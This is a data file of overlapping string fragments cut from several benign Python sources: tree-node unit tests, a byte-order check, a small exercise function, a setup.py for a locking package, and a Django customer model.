"node4 = Node(), Node(), Node(), Node() node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4)",
"def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent",
"assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2)",
"[node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name = 'node to",
"test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1)",
"node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1 assert node1.find_child(color='blue')",
"len(node1.children) == 0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 = Node(),",
"= Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 def",
"0 def test_multi_remove(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2,",
"def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2",
"TreeNode(), TreeNode() node1.parent = node2 assert node1.parent == node2 assert node2.children == [node1,",
"node1 def test_cyclic_find(self): node1, node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() ==",
"assert len(node1.children) == 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2 =",
"[node1, ] def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent =",
"node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) ==",
"test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0]",
"node2 assert node2.parents[0] == node1 assert len(node1.children) == 1 assert len(node2.parents) == 1",
"node2 = TreeNode(), TreeNode() node1.parent = node2 assert node1.parent == node2 assert node2.children",
"node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) ==",
"None assert node1a.find_root() == node1 assert node1b.find_root() == node1 assert node1a1.find_root() == node1",
"node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 assert len(node1.children) ==",
"node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] ==",
"Node() node1.parents.append(node2) node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 assert",
"node1.parents[0] == node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(),",
"from placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(),",
"node1.children[0] == node2 assert node2.parents[0] == node1 assert len(node1.children) == 1 assert len(node2.parents)",
"node2 = Node(), Node() node1.children.append(node2) node2.children.append(node1) assert node1.find_root() == None assert node2.find_root() ==",
"node1.find_parent(color='blue') == [node1a1, node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a,",
"node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2)",
"utf-8 -*- from placidity.node import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2",
"Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0] == node2 assert",
"be found' node1.children.append(node2) assert node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self): node1",
"node1a = Node() node1a1 = Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value",
"node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert node1.parents[0]",
"node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 assert len(node1.children)",
"Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value = 13 node1b = Node()",
"assert node2 in node1.children assert node3 in node1.children def test_remove_child_node(self): node1, node2 =",
"assert node1.find_parent(name='node to be found') == node2 def test_find_parent_node_no_results(self): node1 = Node() assert",
"node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1,",
"Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1,",
"= node3 assert node2.children == [] assert node3.children == [node1, ] def test_find(self):",
"Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert",
"None def test_find_parent_with_value_name(self): node1, node2, node3 = Node(), Node(), Node() node3.attribute_to_find = 'find",
"= Node() assert node1.find_parent(name='just some name') == None def test_find_parent_node_from_node_tree(self): node1 = Node()",
"= Node() node1b1.find_me = True node1b1.color = 'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1)",
"import Node, TreeNode class TestNode(): def test_append_children_to_node(self): node1, node2 = Node(), Node() node1.children.append(node2)",
"= Node(), Node() node2.name = 'node to be found' node1.children.append(node2) assert node1.find_child(name='node to",
"node2.children[0] == node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(),",
"assert node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name",
"node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() == node1 assert node1b.find_root() ==",
"node1.find_child(color='blue') == [node1a1, node1b1] def test_find_immediate_parent_node(self): node1, node2 = Node(), Node() node2.name =",
"node1b.parents.append(node1b1) assert node1.find_parent(value=13) == node1a2 assert node1.find_parent(find_me=True) == node1b1 assert node1.find_parent(color='blue') == [node1a1,",
"test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent = node1 node3.parent =",
"node1.children[0] == node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 = Node(),",
"node1b.find_root() == node1 assert node1a1.find_root() == node1 def test_cyclic_find(self): node1, node2 = Node(),",
"result = (node1, node3, node4, node2, node5 ) for i, node in enumerate(node1.walk()):",
"node1 node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar')",
"13 node1b = Node() node1b1 = Node() node1b1.find_me = True node1b1.color = 'blue'",
"node1.find_root() == None assert node1a.find_root() == node1 assert node1b.find_root() == node1 assert node1a1.find_root()",
"Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3",
"node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 = Node(), Node() node1.children.append(node2)",
"def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color =",
"assert node1.parents[0] == node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1, node2 =",
"node2, node3 = Node(), Node(), Node() node3.attribute_to_find = 'find me' node1.parents.append(node2) node2.parents.append(node3) assert",
"test_append_same_node_as_child_and_parent(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.parents.append(node2) assert node1.children[0] == node2 assert",
"result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode() node1.parent = node2",
"node1.parent == node2 assert node2.children == [node1, ] def test_set_parent_twice(self): node1, node2, node3",
"node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 assert len(node1.parents) == 1",
"node1, node2 = Node(), Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] ==",
"node2 assert node1.parents[0] == node2 assert node2.children[0] == node1 assert node2.parents[0] == node1",
"= Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2, node5",
"assert len(node1.children) == 0 assert len(node2.parents) == 0 def test_remove_parent_node(self): node1, node2 =",
"node3.parent = node1 node2.name = 'foo' node3.name = 'bar' assert node1.find(name='foo') == node2",
"node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(),",
"assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_remove_same_node_multiple_times(self): node1, node2 =",
"node1a2 = Node() node1a2.value = 13 node1b = Node() node1b1 = Node() node1b1.find_me",
"len(node1.parents) == 0 assert len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3 =",
"node1 assert len(node1.children) == 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1, node2",
"0 assert len(node2.children) == 0 def test_multi_remove(self): node1, node2, node3 = Node(), Node(),",
"= 'foo' node3.name = 'bar' assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3",
"== node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0] ==",
"node2.parents[0] == node1 assert len(node1.children) == 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self):",
"== [node1, ] def test_find(self): node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node2.parent",
"assert node2.children == [] assert node3.children == [node1, ] def test_find(self): node1, node2,",
"def test_remove_child_node(self): node1, node2 = Node(), Node() node1.children.append(node2) node1.children.remove(node2) assert len(node1.children) == 0",
"len(node1.parents) == 1 assert len(node2.children) == 1 def test_multi_append(self): node1, node2, node3 =",
"test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node() node1a1.color = 'blue'",
"= Node(), Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 def",
"me' node1.parents.append(node2) node2.parents.append(node3) assert node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3, node4",
"len(node1.children) == 2 assert node2 in node1.children assert node3 in node1.children def test_remove_child_node(self):",
"= Node(), Node() node1.children.append(node2) node1.children.append(node2) node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] ==",
"node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) == node1b1",
"assert node1.children[0] == node2 assert node2.parents[0] == node1 assert len(node1.children) == 1 assert",
"node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() ==",
"assert node2.children[0] == node1 assert node2.parents[0] == node1 def test_append_same_node_as_child_multiple_times(self): node1, node2 =",
"== 0 def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents)",
"some name') == None def test_find_child_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1",
"Node(), Node() node1.children.append(node2, node3) assert len(node1.children) == 2 assert node2 in node1.children assert",
"Node() node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1,",
"node5 = Node() node1.children.append(node2) node1.children.append(node5) node2.children.append(node3) node2.children.append(node4) result = (node1, node3, node4, node2,",
"TreeNode() node1.parent = node2 node1.parent = node3 assert node2.children == [] assert node3.children",
"% (i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(), TreeNode()",
"node1, node1a, node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert",
"node1 = Node() node1a = Node() node1a1 = Node() node1a1.color = 'blue' node1a2",
"== node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(), Node(), Node()",
"node3 = Node(), Node(), Node() node1.children.append(node2, node3) node1.children.remove(node2, node3) assert len(node1.children) == 0",
"'blue' node1.children.append(node1a, node1b) node1a.children.append(node1a1, node1a2) node1b.children.append(node1b1) assert node1.find_child(value=13) == node1a2 assert node1.find_child(find_me=True) ==",
"node1.parents.remove(node2) assert len(node1.parents) == 0 assert len(node2.children) == 0 def test_multi_remove(self): node1, node2,",
"'node to be found' node1.children.append(node2) assert node1.find_child(name='node to be found') == node2 def",
"= Node() node1b1.find_me = True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1)",
"Node() node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 def test_append_same_node_as_child_and_parent(self): node1,",
"node1.children.append(node2) assert node1.children[0] == node2 assert node2.parents[0] == node1 assert len(node1.children) == 1",
"= Node() node1a1 = Node() node1a1.color = 'blue' node1a2 = Node() node1a2.value =",
"node1.children.append(node1a, node1b) node1a.children.append(node1a1) assert node1.find_root() == None assert node1a.find_root() == node1 assert node1b.find_root()",
"node1.find_parent_with_attribute('attribute_to_find') == node3 def test_walk(self): node1, node2, node3, node4 = Node(), Node(), Node(),",
"node1.parents.append(node2) node1.parents.append(node2) assert node1.parents[0] == node2 assert node2.children[0] == node1 assert len(node1.parents) ==",
"== None def test_find_parent_node_from_node_tree(self): node1 = Node() node1a = Node() node1a1 = Node()",
"== node2 assert node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node()",
"== 0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name = 'node to",
"%s' % (i, node, result[i]) class TestTreeNode(): def test_set_parent(self): node1, node2 = TreeNode(),",
"node1, node2, node3 = TreeNode(), TreeNode(), TreeNode() node1.parent = node2 node1.parent = node3",
"node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 = Node(), Node(), Node(), Node() node1.children.append(node1a,",
"== 2 assert node2 in node1.children assert node3 in node1.children def test_remove_child_node(self): node1,",
"assert len(node1.children) == 0 def test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name =",
"assert node1.parents[0] == node2 assert node2.children[0] == node1 assert len(node1.parents) == 1 assert",
"i, node in enumerate(node1.walk()): assert node == result[i], '%s %s %s' % (i,",
"assert node1.find(name='foo') == node2 assert node1.find(name='bar') == node3 assert node1.find(name='dummy') == None assert",
"0 def test_remove_parent_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) node1.parents.remove(node2) assert len(node1.parents) ==",
"assert node1.find_child(name='node to be found') == node2 def test_find_child_node_no_results(self): node1 = Node() assert",
"node1b1] assert node1.find_parent(find_me=True, color='blue') == node1b1 def test_find_root(self): node1, node1a, node1b, node1a1 =",
"def test_multi_append(self): node1, node2, node3 = Node(), Node(), Node() node1.children.append(node2, node3) assert len(node1.children)",
"= True node1b1.color = 'blue' node1.parents.append(node1a, node1b) node1a.parents.append(node1a1, node1a2) node1b.parents.append(node1b1) assert node1.find_parent(value=13) ==",
"== node1 assert len(node1.children) == 1 assert len(node2.parents) == 1 def test_append_same_node_as_parent_multiple_times(self): node1,",
"test_find_immediate_child_node(self): node1, node2 = Node(), Node() node2.name = 'node to be found' node1.children.append(node2)",
"node2.parents[0] == node1 def test_append_parents_to_node(self): node1, node2 = Node(), Node() node1.parents.append(node2) assert node1.parents[0]",
"assert node1.parents[0] == node2 assert node2.children[0] == node1 assert node2.parents[0] == node1 def"
] |
[
"platform import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an intel,",
"import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an intel, alpha",
"a big-endian platform or little-endian platform import sys if sys.byteorder == \"little\": print(\"Little-endian",
"is a big-endian platform or little-endian platform import sys if sys.byteorder == \"little\":",
"\"little\": print(\"Little-endian platform.\") # its an intel, alpha else: print(\"Big-endian platform.\") # its",
"big-endian platform or little-endian platform import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\")",
"sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an intel, alpha else:",
"whether the system is a big-endian platform or little-endian platform import sys if",
"little-endian platform import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an",
"== \"little\": print(\"Little-endian platform.\") # its an intel, alpha else: print(\"Big-endian platform.\") #",
"test whether the system is a big-endian platform or little-endian platform import sys",
"#Python program to test whether the system is a big-endian platform or little-endian",
"platform.\") # its an intel, alpha else: print(\"Big-endian platform.\") # its a motorola,",
"sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an intel, alpha else: print(\"Big-endian platform.\")",
"program to test whether the system is a big-endian platform or little-endian platform",
"if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its an intel, alpha else: print(\"Big-endian",
"to test whether the system is a big-endian platform or little-endian platform import",
"or little-endian platform import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") # its",
"system is a big-endian platform or little-endian platform import sys if sys.byteorder ==",
"print(\"Little-endian platform.\") # its an intel, alpha else: print(\"Big-endian platform.\") # its a",
"the system is a big-endian platform or little-endian platform import sys if sys.byteorder",
"# its an intel, alpha else: print(\"Big-endian platform.\") # its a motorola, sparc",
"platform or little-endian platform import sys if sys.byteorder == \"little\": print(\"Little-endian platform.\") #"
] |
[
"def response(hey_bob): question = hey_bob.rstrip().endswith('?') yell = any(c.isupper() for c in hey_bob) \\",
"yell: return \"Whoa, chill out!\" elif question and yell: return \"Calm down, I",
"question and yell: return \"Calm down, I know what I'm doing!\" elif nothing:",
"hey_bob) \\ and not any(c.islower() for c in hey_bob) nothing = not hey_bob.strip()",
"any(c.isupper() for c in hey_bob) \\ and not any(c.islower() for c in hey_bob)",
"I know what I'm doing!\" elif nothing: return \"Fine. Be that way!\" else:",
"chill out!\" elif question and yell: return \"Calm down, I know what I'm",
"\"Sure.\" elif not question and yell: return \"Whoa, chill out!\" elif question and",
"not any(c.islower() for c in hey_bob) nothing = not hey_bob.strip() if question and",
"in hey_bob) nothing = not hey_bob.strip() if question and not yell: return \"Sure.\"",
"yell = any(c.isupper() for c in hey_bob) \\ and not any(c.islower() for c",
"return \"Whoa, chill out!\" elif question and yell: return \"Calm down, I know",
"\"Calm down, I know what I'm doing!\" elif nothing: return \"Fine. Be that",
"down, I know what I'm doing!\" elif nothing: return \"Fine. Be that way!\"",
"hey_bob) nothing = not hey_bob.strip() if question and not yell: return \"Sure.\" elif",
"elif question and yell: return \"Calm down, I know what I'm doing!\" elif",
"c in hey_bob) nothing = not hey_bob.strip() if question and not yell: return",
"= any(c.isupper() for c in hey_bob) \\ and not any(c.islower() for c in",
"= hey_bob.rstrip().endswith('?') yell = any(c.isupper() for c in hey_bob) \\ and not any(c.islower()",
"in hey_bob) \\ and not any(c.islower() for c in hey_bob) nothing = not",
"c in hey_bob) \\ and not any(c.islower() for c in hey_bob) nothing =",
"yell: return \"Sure.\" elif not question and yell: return \"Whoa, chill out!\" elif",
"out!\" elif question and yell: return \"Calm down, I know what I'm doing!\"",
"and not any(c.islower() for c in hey_bob) nothing = not hey_bob.strip() if question",
"and yell: return \"Whoa, chill out!\" elif question and yell: return \"Calm down,",
"response(hey_bob): question = hey_bob.rstrip().endswith('?') yell = any(c.isupper() for c in hey_bob) \\ and",
"yell: return \"Calm down, I know what I'm doing!\" elif nothing: return \"Fine.",
"return \"Calm down, I know what I'm doing!\" elif nothing: return \"Fine. Be",
"= not hey_bob.strip() if question and not yell: return \"Sure.\" elif not question",
"hey_bob.rstrip().endswith('?') yell = any(c.isupper() for c in hey_bob) \\ and not any(c.islower() for",
"and not yell: return \"Sure.\" elif not question and yell: return \"Whoa, chill",
"elif not question and yell: return \"Whoa, chill out!\" elif question and yell:",
"return \"Sure.\" elif not question and yell: return \"Whoa, chill out!\" elif question",
"not hey_bob.strip() if question and not yell: return \"Sure.\" elif not question and",
"any(c.islower() for c in hey_bob) nothing = not hey_bob.strip() if question and not",
"\"Whoa, chill out!\" elif question and yell: return \"Calm down, I know what",
"know what I'm doing!\" elif nothing: return \"Fine. Be that way!\" else: return",
"if question and not yell: return \"Sure.\" elif not question and yell: return",
"not question and yell: return \"Whoa, chill out!\" elif question and yell: return",
"for c in hey_bob) \\ and not any(c.islower() for c in hey_bob) nothing",
"and yell: return \"Calm down, I know what I'm doing!\" elif nothing: return",
"question and not yell: return \"Sure.\" elif not question and yell: return \"Whoa,",
"question and yell: return \"Whoa, chill out!\" elif question and yell: return \"Calm",
"question = hey_bob.rstrip().endswith('?') yell = any(c.isupper() for c in hey_bob) \\ and not",
"\\ and not any(c.islower() for c in hey_bob) nothing = not hey_bob.strip() if",
"not yell: return \"Sure.\" elif not question and yell: return \"Whoa, chill out!\"",
"what I'm doing!\" elif nothing: return \"Fine. Be that way!\" else: return \"Whatever.\"",
"hey_bob.strip() if question and not yell: return \"Sure.\" elif not question and yell:",
"for c in hey_bob) nothing = not hey_bob.strip() if question and not yell:",
"nothing = not hey_bob.strip() if question and not yell: return \"Sure.\" elif not"
] |
[
"['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires =",
"simple Python resource lock to ensure only one process at a time is",
"with a particular resource.', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock',",
"name = 'quicklock', packages = ['quicklock'], version = '0.1.7', description = 'A simple",
"to ensure only one process at a time is operating with a particular",
"one process at a time is operating with a particular resource.', author =",
"import setup setup( name = 'quicklock', packages = ['quicklock'], version = '0.1.7', description",
"'0.1.7', description = 'A simple Python resource lock to ensure only one process",
"setup setup( name = 'quicklock', packages = ['quicklock'], version = '0.1.7', description =",
"'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires = [ 'psutil>=2.2' ]",
"'<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process',",
"a time is operating with a particular resource.', author = '<NAME>', author_email =",
"'quicklock', packages = ['quicklock'], version = '0.1.7', description = 'A simple Python resource",
"process at a time is operating with a particular resource.', author = '<NAME>',",
"= 'A simple Python resource lock to ensure only one process at a",
"= '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords =",
"only one process at a time is operating with a particular resource.', author",
"packages = ['quicklock'], version = '0.1.7', description = 'A simple Python resource lock",
"resource lock to ensure only one process at a time is operating with",
"= '0.1.7', description = 'A simple Python resource lock to ensure only one",
"= '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton',",
"'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires = [ 'psutil>=2.2' ] )",
"url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource',",
"author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking',",
"'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires = [ 'psutil>=2.2'",
"author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords",
"['quicklock'], version = '0.1.7', description = 'A simple Python resource lock to ensure",
"'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'],",
"from distutils.core import setup setup( name = 'quicklock', packages = ['quicklock'], version =",
"keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any',",
"= 'quicklock', packages = ['quicklock'], version = '0.1.7', description = 'A simple Python",
"'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [],",
"setup( name = 'quicklock', packages = ['quicklock'], version = '0.1.7', description = 'A",
"= 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive",
"resource.', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7',",
"ensure only one process at a time is operating with a particular resource.',",
"particular resource.', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url =",
"description = 'A simple Python resource lock to ensure only one process at",
"operating with a particular resource.', author = '<NAME>', author_email = '<EMAIL>', url =",
"a particular resource.', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url",
"download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers",
"at a time is operating with a particular resource.', author = '<NAME>', author_email",
"= 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers =",
"'A simple Python resource lock to ensure only one process at a time",
"= ['quicklock'], version = '0.1.7', description = 'A simple Python resource lock to",
"= ['lock', 'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires",
"version = '0.1.7', description = 'A simple Python resource lock to ensure only",
"time is operating with a particular resource.', author = '<NAME>', author_email = '<EMAIL>',",
"Python resource lock to ensure only one process at a time is operating",
"is operating with a particular resource.', author = '<NAME>', author_email = '<EMAIL>', url",
"distutils.core import setup setup( name = 'quicklock', packages = ['quicklock'], version = '0.1.7',",
"'locking', 'singleton', 'process', 'resource', 'exclusive lock'], classifiers = [], platforms='any', install_requires = [",
"'<NAME>', author_email = '<EMAIL>', url = 'https://github.com/NateFerrero/quicklock', download_url = 'https://github.com/NateFerrero/quicklock/tarball/0.1.7', keywords = ['lock',",
"lock to ensure only one process at a time is operating with a"
] |
[
"PotentialSubscriber(models.Model): fio = models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator(",
"max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True ) description =",
"= models.CharField( _('Town'), help_text=_('Town, if group does not already exist'), max_length=127, blank=True, null=True",
"db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural = _('Potential customers') ordering =",
"django.conf import settings from django.core.validators import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model):",
"make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection",
"auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection must be finished'), blank=True,",
"resolve_url from django.utils.translation import gettext_lazy as _ from django.db import models from django.conf",
"blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP', r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL,",
"models.CharField( _('House'), max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'), null=True, blank=True )",
"= models.CharField( _('House'), max_length=12, null=True, blank=True ) description = models.TextField( _('Comment'), null=True, blank=True",
"Meta: db_table = 'new_customers' verbose_name = _('Potential customer') verbose_name_plural = _('Potential customers') ordering",
"= models.CharField(_('fio'), max_length=256) telephone = models.CharField( max_length=16, verbose_name=_('Telephone'), blank=True, null=True, validators=(RegexValidator( getattr(settings, 'TELEPHONE_REGEXP',",
"models.CharField(_('Street'), max_length=127, blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True ) description",
"blank=True, null=True) house = models.CharField( _('House'), max_length=12, null=True, blank=True ) description = models.TextField(",
"r'^(\\+[7893]\\d{10,11})?$') ),) ) group = models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') )",
"blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers'",
"models.ForeignKey( Group, on_delete=models.SET_NULL, blank=True, null=True, verbose_name=_('User group') ) town = models.CharField( _('Town'), help_text=_('Town,",
"django.db import models from django.conf import settings from django.core.validators import RegexValidator from group_app.models",
"help_text=_('Date when connection must be finished'), blank=True, null=True ) def get_absolute_url(self): return resolve_url('new_customers:user',",
"blank=True ) description = models.TextField( _('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'),",
"group does not already exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127,",
"_ from django.db import models from django.conf import settings from django.core.validators import RegexValidator",
"_('Comment'), null=True, blank=True ) make_data = models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline",
"settings from django.core.validators import RegexValidator from group_app.models import Group class PotentialSubscriber(models.Model): fio =",
"exist'), max_length=127, blank=True, null=True ) street = models.CharField(_('Street'), max_length=127, blank=True, null=True) house =",
"import resolve_url from django.utils.translation import gettext_lazy as _ from django.db import models from",
") def get_absolute_url(self): return resolve_url('new_customers:user', uid=self.pk) class Meta: db_table = 'new_customers' verbose_name =",
"group') ) town = models.CharField( _('Town'), help_text=_('Town, if group does not already exist'),",
"models.DateTimeField(_('Create date'), auto_now_add=True) deadline = models.DateField( _('Deadline connection'), help_text=_('Date when connection must be",
"from django.utils.translation import gettext_lazy as _ from django.db import models from django.conf import",
"= models.DateField( _('Deadline connection'), help_text=_('Date when connection must be finished'), blank=True, null=True )",
"<gh_stars>10-100 from django.shortcuts import resolve_url from django.utils.translation import gettext_lazy as _ from django.db",
